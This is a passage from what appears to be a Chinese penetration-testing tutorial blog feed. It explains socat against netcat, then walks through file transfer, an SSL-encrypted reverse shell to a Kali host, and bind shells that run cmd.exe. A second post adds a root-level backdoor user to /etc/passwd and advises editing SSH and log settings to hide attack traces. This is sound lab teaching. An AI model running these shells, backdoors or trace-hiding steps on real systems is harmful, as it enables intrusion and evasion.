&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Windows通过浏览器或&lt;code&gt;curl&lt;/code&gt;下载：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;curl &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-o&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="socat-的用法及与-netcat-的对比"&gt;&lt;strong&gt;Socat 的用法及与 Netcat 的对比&lt;/strong&gt;
&lt;/h2&gt;&lt;h3 id="一socat-的核心功能与用法"&gt;&lt;strong&gt;一、Socat 的核心功能与用法&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Socat（Socket CAT）是一个多协议网络工具，支持在&lt;strong&gt;双向数据流之间建立通道&lt;/strong&gt;，其功能远超 Netcat（nc）。以下是其核心用法：&lt;/p&gt;
&lt;p&gt;Socat官网：http://www.dest-unreach.org/socat/&lt;/p&gt;
&lt;h4 id="1-基本语法"&gt;&lt;strong&gt;1. 基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat &lt;span class="o"&gt;[&lt;/span&gt;全局选项&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;地址1&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项1&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;地址2&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项2&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;地址类型&lt;/strong&gt;：支持 TCP、UDP、SSL、UNIX 套接字、文件、管道、设备等。
• &lt;strong&gt;常用选项&lt;/strong&gt;：&lt;code&gt;fork&lt;/code&gt;（多连接处理）、&lt;code&gt;reuseaddr&lt;/code&gt;（端口复用）、&lt;code&gt;creat&lt;/code&gt;（自动创建文件）等。&lt;/p&gt;
&lt;h4 id="2-典型应用场景"&gt;&lt;strong&gt;2. 典型应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;监听端口&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:80 STDOUT &lt;span class="c1"&gt;# 监听 TCP 80 端口并输出到终端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat UDP-LISTEN:1234 - &lt;span class="c1"&gt;# 监听 UDP 1234 端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;端口转发&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 单连接转发&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:81 TCP4:192.168.1.1:80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多连接转发（支持并发）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.1:80
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;文件传输&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 发送文件（服务端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat -u TCP-LISTEN:8080 OPEN:file.txt,creat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 接收文件（客户端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat -u TCP:192.168.1.1:8080 OPEN:file.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;加密通信&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SSL 加密服务端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL-LISTEN:443,cert&lt;span class="o"&gt;=&lt;/span&gt;server.pem,verify&lt;span class="o"&gt;=&lt;/span&gt;0,fork TCP:localhost:80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SSL 加密客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat - OPENSSL:192.168.1.1:443
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;串口与网络互通&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 虚拟串口转 TCP 客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat PTY,link&lt;span class="o"&gt;=&lt;/span&gt;/dev/ttyV1 TCP:192.168.1.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="二socat-与-netcat-的关键区别"&gt;&lt;strong&gt;二、Socat 与 Netcat 的关键区别&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-功能复杂度"&gt;&lt;strong&gt;1. 功能复杂度&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
定位为“网络瑞士军刀”，核心功能是 TCP/UDP 连接的建立和简单数据传输，适合快速调试或端口扫描。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;1234&lt;/span&gt; &lt;span class="c1"&gt;# 监听端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -nv 192.168.1.1 &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="c1"&gt;# 连接目标端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
支持更复杂的协议（如 SSL、SOCKS）、双向通信、多路复用，且能处理文件、设备等非网络数据流。&lt;/p&gt;
&lt;h4 id="2-安全性"&gt;&lt;strong&gt;2. 安全性&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
无加密支持，流量明文传输，易被拦截。
• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
支持 SSL/TLS 加密、chroot 沙盒隔离，适用于敏感数据传输。&lt;/p&gt;
&lt;h4 id="3-高级特性"&gt;&lt;strong&gt;3. 高级特性&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;协议支持&lt;/strong&gt;：&lt;br&gt;
Socat 支持 IPv6、UNIX 域套接字、代理转发（如 SOCKS4）等，Netcat 仅限 TCP/UDP。
• &lt;strong&gt;实时监控&lt;/strong&gt;：&lt;br&gt;
Socat 可通过 &lt;code&gt;-u&lt;/code&gt; 参数实现单向流监控（如日志收集），Netcat 需依赖外部工具。&lt;/p&gt;
&lt;h4 id="4-适用场景"&gt;&lt;strong&gt;4. 适用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
快速端口测试、简单文件传输、网络服务调试。
• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
加密通信、复杂端口转发、设备与网络协议桥接（如串口转 TCP）。&lt;/p&gt;
&lt;h2 id="socat-实战方案"&gt;&lt;strong&gt;socat&lt;/strong&gt; 实战方案：
&lt;/h2&gt;&lt;h3 id="1-使用-socat-从-kali-传输-powercatps1-到-windows-系统"&gt;&lt;strong&gt;1. 使用 socat 从 Kali 传输 powercat.ps1 到 Windows 系统&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 上启动文件接收监听&lt;/strong&gt;（使用 TCP 协议）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:443,fork file:222.txt 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;TCP-LISTEN:443&lt;/code&gt;：在 443端口监听。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe TCP:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Kali_IP&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;:443 file:222.txt,create
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 替换 &lt;code&gt;&amp;lt;Kali_IP&amp;gt;&lt;/code&gt; 为 Kali 的 IP 地址。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="验证"&gt;&lt;strong&gt;验证&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Windows 的当前目录会生成 &lt;code&gt;222.txt&lt;/code&gt; 文件，可用 &lt;code&gt;dir&lt;/code&gt; 确认，&lt;code&gt;type&lt;/code&gt;查看。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411224707342" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411224707342.png"&gt;&lt;/p&gt;
&lt;h3 id="2-使用-socat-创建加密反向-shellwindows--kali"&gt;&lt;strong&gt;2. 使用 socat 创建加密反向 Shell（Windows → Kali）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-1"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 上生成 SSL 证书&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days &lt;span class="m"&gt;365&lt;/span&gt; -nodes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 合并证书和密钥：&lt;code&gt;cat key.pem cert.pem &amp;gt; shell.pem&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411222443774" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411222443774.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 启动加密监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL-LISTEN:5555,cert&lt;span class="o"&gt;=&lt;/span&gt;shell.pem,verify&lt;span class="o"&gt;=&lt;/span&gt;0,fork -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;verify=0&lt;/code&gt;：禁用证书验证（仅测试环境使用）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 连接加密反向 Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe OPENSSL:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Kali_IP&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;:5555,verify=0 EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;EXEC:cmd.exe,pipes&lt;/code&gt;：执行 cmd.exe 并处理输入输出流。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="验证-1"&gt;&lt;strong&gt;验证&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Kali 终端会接收到加密的交互式 Shell，可执行 Windows 命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411223911041" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411223911041.png"&gt;&lt;/p&gt;
&lt;h3 id="3-创建加密的-bind-shell-并测试非加密连接"&gt;&lt;strong&gt;3. 创建加密的 Bind Shell 并测试非加密连接&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-2"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上启动加密 Bind Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe OPENSSL-LISTEN:6666,cert=shell.pem,verify=0,fork EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 需提前将 &lt;code&gt;shell.pem&lt;/code&gt; 证书文件复制到 Windows 系统。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尝试从 Kali 非加密连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL:192.168.169.128:6666,verify&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 若未加密，连接会失败（显示 SSL 握手错误）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411225952562" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411225952562.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="结论"&gt;&lt;strong&gt;结论&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;加密的 Bind Shell 必须通过 SSL 协议连接，非加密连接无法工作。&lt;/p&gt;
&lt;h3 id="4-创建未加密的-bind-shell-并用-netcat-连接"&gt;&lt;strong&gt;4. 创建未加密的 Bind Shell 并用 Netcat 连接&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-3"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上启动未加密 Bind Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe TCP-LISTEN:7777,fork EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;从 Kali 使用 Netcat 连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -nv &amp;lt;Windows_IP&amp;gt; &lt;span class="m"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 直接连接后，&lt;strong&gt;Netcat 无法正确处理交互式 Shell&lt;/strong&gt;（命令无回显或卡死）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411230440869" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411230440869.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="解决方法"&gt;&lt;strong&gt;解决方法&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;使用 &lt;code&gt;socat&lt;/code&gt; 替代 Netcat 连接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP:&amp;lt;Windows_IP&amp;gt;:7777 -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时可正常操作交互式 Shell。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411230628284" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411230628284.png"&gt;&lt;/p&gt;
&lt;h4 id="结论-1"&gt;&lt;strong&gt;结论&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Netcat 无法直接与未加密的 &lt;code&gt;EXEC&lt;/code&gt; 型 Bind Shell 兼容，需使用 &lt;code&gt;socat&lt;/code&gt; 或调整参数（如添加 &lt;code&gt;pty&lt;/code&gt;）。&lt;/p&gt;
&lt;h3 id="常见错误与修复"&gt;&lt;strong&gt;常见错误与修复&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;问题&lt;/strong&gt;：&lt;code&gt;cmd.exe&lt;/code&gt; 未执行，提示权限或参数错误。&lt;br&gt;
• &lt;strong&gt;修复&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;添加 &lt;code&gt;pipes&lt;/code&gt; 参数处理输入输出流（如 &lt;code&gt;EXEC:cmd.exe,pipes&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;pty&lt;/code&gt; 分配虚拟终端（如 &lt;code&gt;EXEC:cmd.exe,pty&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;检查防火墙是否放行端口。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;加密传输与 Shell&lt;/strong&gt;：必须使用 SSL 证书，否则无法通信。&lt;br&gt;
• &lt;strong&gt;Netcat 兼容性&lt;/strong&gt;：仅适用于简单 TCP 连接，复杂交互需依赖 &lt;code&gt;socat&lt;/code&gt;。&lt;br&gt;
• &lt;strong&gt;参数调整&lt;/strong&gt;：&lt;code&gt;EXEC&lt;/code&gt; 需配合 &lt;code&gt;pipes&lt;/code&gt; 或 &lt;code&gt;pty&lt;/code&gt; 处理 Shell 交互。&lt;/p&gt;
&lt;p&gt;以上步骤基于 &lt;strong&gt;Kali 2025.1a&lt;/strong&gt; 和 &lt;strong&gt;Windows 10/11&lt;/strong&gt; 环境验证。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day7 Kali文本编辑、比较不同、监控、下载、历史命令</title><link>https://ruajingjing.top/post/day7-kali%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91-%E6%AF%94%E8%BE%83%E4%B8%8D%E5%90%8C-%E7%9B%91%E6%8E%A7-%E4%B8%8B%E8%BD%BD-%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4/</link><pubDate>Thu, 10 Apr 2025 23:20:31 +0000</pubDate><guid>https://ruajingjing.top/post/day7-kali%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91-%E6%AF%94%E8%BE%83%E4%B8%8D%E5%90%8C-%E7%9B%91%E6%8E%A7-%E4%B8%8B%E8%BD%BD-%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day7 Kali文本编辑、比较不同、监控、下载、历史命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="文本编辑器"&gt;文本编辑器
&lt;/h2&gt;&lt;p&gt;在Kali Linux中，文本编辑器是渗透测试和系统配置的核心工具。&lt;/p&gt;
&lt;h3 id="一nano编辑器轻量级快速操作"&gt;一、Nano编辑器：轻量级快速操作
&lt;/h3&gt;&lt;h4 id="1-基础操作"&gt;1. &lt;strong&gt;基础操作&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;文件操作&lt;/strong&gt;&lt;br&gt;
• 新建/打开文件：&lt;code&gt;nano 文件名&lt;/code&gt;（支持路径跳转）&lt;br&gt;
• 保存文件：&lt;code&gt;Ctrl+O&lt;/code&gt; → 回车确认文件名&lt;br&gt;
• 退出：&lt;code&gt;Ctrl+X&lt;/code&gt;（未保存时会提示）&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;文本编辑&lt;/strong&gt;&lt;br&gt;
• 剪切行：&lt;code&gt;Ctrl+K&lt;/code&gt;&lt;br&gt;
• 粘贴：&lt;code&gt;Ctrl+U&lt;/code&gt;&lt;br&gt;
• 搜索：&lt;code&gt;Ctrl+W&lt;/code&gt; → 输入关键词，&lt;code&gt;Alt+W&lt;/code&gt;跳转下一个匹配项&lt;/p&gt;
&lt;h4 id="2-渗透向高级技巧"&gt;2. &lt;strong&gt;渗透向高级技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;快速执行系统命令&lt;/strong&gt;&lt;br&gt;
在编辑界面按&lt;code&gt;Ctrl+T&lt;/code&gt;，可直接执行Shell命令（如生成Payload或测试网络连接）。&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;修改敏感文件提权&lt;/strong&gt;&lt;br&gt;
例如通过&lt;code&gt;sudo nano /etc/passwd&lt;/code&gt;添加UID=0的用户（需root权限）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;testuser:x:0:0::/root:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;配置文件篡改&lt;/strong&gt;&lt;br&gt;
使用&lt;code&gt;nano&lt;/code&gt;快速编辑SSH配置（&lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;）或Web服务日志路径，隐藏攻击痕迹。&lt;/p&gt;
&lt;h4 id="3-效率优化配置"&gt;3. &lt;strong&gt;效率优化配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;启用语法高亮 &amp;amp; 行号&lt;/strong&gt;&lt;br&gt;
修改&lt;code&gt;~/.nanorc&lt;/code&gt;，添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;include &amp;#34;/usr/share/nano/*.nanorc&amp;#34; # 语法高亮&lt;/span&gt;
